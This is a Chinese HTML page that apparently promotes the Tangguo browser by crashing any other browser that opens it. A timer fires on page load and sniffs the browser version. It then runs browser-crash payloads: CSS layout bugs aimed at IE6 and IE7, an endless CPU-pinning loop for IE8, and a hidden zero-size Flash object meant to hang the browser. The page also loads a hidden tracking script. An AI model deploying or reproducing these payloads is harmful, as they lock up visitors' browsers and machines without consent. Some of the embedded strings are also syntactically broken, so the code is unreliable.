- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh_cn" lang="zh_cn">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
- <title>糖果浏览器页面真死测试</title>
-
- </head>
- <body bgcolor="#ffffff" onload=timer()>
-
-
- <script language="javascript">AC_FL_RunContent = 0;</script>
- <script src="AC_RunActiveContent.js" language="javascript"></script>
- <script type="text/javascript">
- function do_crash6(){//IE6崩溃
- var strBody = "";
- //对firefox不好用,对糖果可以,对IE8也不好用.
- //strBody += "<style>*{position:relative}</style><table><input></table>";
- strBody += "<style>*{position:relative}</style><table><input></table>";
- document.write(strBody);
- //do_crash1();//js递归调用,弹出内存溢出对话框
- }
- function do_crash7(){//IE7崩溃
- var strBody = "";
- strBody += "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ";
- strBody += ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">";
- strBody += "<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="zh_cn" lang="zh_cn">";
- strBody += "<head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" />";
- strBody += "</head><body>";
- strBody += "<style type="text/css">div{float:left;width:175px;}";
- strBody += "ul{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}li{position:relative;}<\/style>";
- strBody += "<div><ul><li>崩溃崩溃崩溃崩溃崩溃crash ie7<\/li>";
- strBody += "<li>崩溃崩溃崩溃崩溃崩溃crash ie7<\/li><\/ul><\/div>";
- strBody += "</body></html>";
- document.write(strBody);
- }
- function do_crash3(){//IE8无反应
- var strBody = "";
- //for (var o in document.querySelectorAll('*'));//不好用
- strBody += "<script>for(x in document.write){document.write(x)\;}<\/script>";//不好用
- document.write(strBody);
- //do_crash1();//js递归调用,弹出内存溢出对话框
- }
- function IsIE8Browser(){//正确判断了IE8
- var rv = -1;
- var ua = navigator.userAgent;
- var re = new RegExp("Trident\/([0-9]{1,}[\.0-9]{0,})");
- if (re.exec(ua) != null){
- rv = parseFloat(RegExp.$1);
- }
- return (rv == 4);
- }
- var CUR_TIME = 0;
- var END_TIME = 16;
- var LEFT_TIME;
- var ID;
- var isMinIE4 = isMinIE5 = isMinIE5_5 = isMinIE6 = isMinIE7 = isMinIE8 = false;
- function timer() {
- ID = window.setTimeout("Ontimer()", 1000);
- }
- function Ontimer() {
- LEFT_TIME = END_TIME - CUR_TIME;
- if( LEFT_TIME <= 0 ){
- //do_crash3();
- //document.body.insertAdjacentHTML("BeforeEnd","<style>*{position:relative}</style><table><input></table>");
- //获是userAgent信息,里面表示浏览器的相关信息
- //navigator.appVersion获得版本号的信息
- var sUserAgent = navigator.userAgent;
- var isIE = sUserAgent.indexOf("compatible") > -1 && sUserAgent.indexOf("MSIE") > -1;
- if (isIE){
- isMinIE8 = IsIE8Browser();//判断是否为IE8
- var reIE = new RegExp("MSIE (\\d+\\.\\d+);");//用正则表示式去获得版本号
- reIE.test(sUserAgent);
- var fIEVersion = parseFloat(RegExp["$1"]);
-
- isMinIE4 = fIEVersion >= 4; //true or false
- isMinIE5 = fIEVersion >= 5;
- isMinIE5_5 = fIEVersion >= 5.5;
- isMinIE6 = fIEVersion >= 6.0;
- isMinIE7 = fIEVersion >= 7.0;
- }
- if( isMinIE8 )
- do_crash2();//死循环,无响应
- else if( isMinIE7 )
- do_crash7();//IE7崩溃
- else
- do_crash6();//IE6崩溃
-
- if (AC_FL_RunContent == 0){
- alert("This page requires AC_RunActiveContent.js.");
- }
- else{
- AC_FL_RunContent(//让浏览器假死,因为firefox不采用IE内核
- 'codebase', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0',
- 'width', '0',
- 'height', '0',
- 'src', 'testdead',
- 'quality', 'high',
- 'pluginspage', 'http://www.macromedia.com/go/getflashplayer',
- 'align', 'middle',
- 'play', 'true',
- 'loop', 'true',
- 'scale', 'showall',
- 'wmode', 'window',
- 'devicefont', 'false',
- 'id', 'testdead',
- 'bgcolor', '#ffffff',
- 'name', 'testdead',
- 'menu', 'true',
- 'allowFullScreen', 'false',
- 'allowScriptAccess','sameDomain',
- 'movie', 'testdead',
- 'salign', ''
- ); //end AC code
- }
- //do_crash7();//IE7崩溃
- //do_crash2();//死循环,无响应
- window.clearTimeout(ID);
- return 0;
- }
- else{
- CUR_TIME ++;
- }
- ID = window.setTimeout("Ontimer()", 1000);//启动计时器
- }
- function do_crash2(){
- var i;
- for(i =0; i<10000; i){//死循环,让CPU使用率百分之百
- document.getElementById("countdown").value += (i + " - [url]http://www.mkyong.com[/url]\n");
- countdown.value = (i + " - [url]http://www.mkyong.com[/url]\n");
- //countdown.value = i;
- }
- }
- function test(){
- //alert("lgood");
- }
-
- </script>
-
-
- <br><br><br>
- <table width=100% height=26 margin= 100>
- <tr>
- <td>
- <p><font color='ff0000'> 您的浏览器将在15秒钟后崩溃!请到任务管理器关闭你的浏览器(Firefox,Chrome不受影响)</font></p>
- <p><font color='ff0000'> 用糖果浏览器3.0打开则可安然无恙。糖果浏览器3.0采用先进的多进程技术,可有效地防止网页真死(崩溃)。 </font> </p></td>
- </tr>
- </table>
- <br><br><br><br><br><br><br><br>
-
-
-
-
- <script language="javascript">
- if (AC_FL_RunContent == 0) {
- alert("此页需要 AC_RunActiveContent.js");
- }
- else{
- AC_FL_RunContent(
- 'codebase', 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0',
- 'width', '550',
- 'height', '200',
- 'src', 'daojishi1',
- 'quality', 'high',
- 'pluginspage', 'http://www.macromedia.com/go/getflashplayer',
- 'align', 'middle',
- 'play', 'true',
- 'loop', 'true',
- 'scale', 'showall',
- 'wmode', 'window',
- 'devicefont', 'false',
- 'id', 'testdead',
- 'bgcolor', '#ffffff',
- 'name', 'daojishi1',
- 'menu', 'true',
- 'allowFullScreen', 'false',
- 'allowScriptAccess','sameDomain',
- 'movie', 'daojishi1',
- 'salign', ''
- ); //end AC code
- }
-
- </script>
- <table align="center"><tr><td>
- <noscript>
- <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="550" height="200" id="testdead" align="middle">
- <param name="allowScriptAccess" value="sameDomain" />
- <param name="allowFullScreen" value="false" />
- <param name="movie" value="daojishi1.swf" />
- <param name="quality" value="high" />
- <param name="bgcolor" value="#ffffff" />
- <embed src="daojishi1.swf" quality="high" bgcolor="#ffffff" width="550" height="200" name="testdead" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
- </object>
- </noscript>
- </td></tr></table>
- <input id="countdown" type='hidden'>
- <!--<input id="countdown" type="text" width="100" height="200">-->
- <!--<textarea id="test" cols=80 rows=50></textarea>-->
- <br/>
- <!-- document.body.insertAdjacentHTML("BeforeEnd","<iframe src='http://text.sudawei123.com/text1.jsp' width=100 height=100></iframe>");-->
- <!--对firefox失效-->
- <!--<style>*{position:relative}</style><table><input></table>-->
- <div style="display:none;">
- <script type="text/javascript" src="http://js.tongji.linezing.com/1138598/tongji.js"></script><noscript><a href="http://www.linezing.com"><img src="http://img.tongji.linezing.com/1138598/tongji.gif"/></a></noscript>
- </div>
- </body>
- </html>
复制代码 网页源代码 |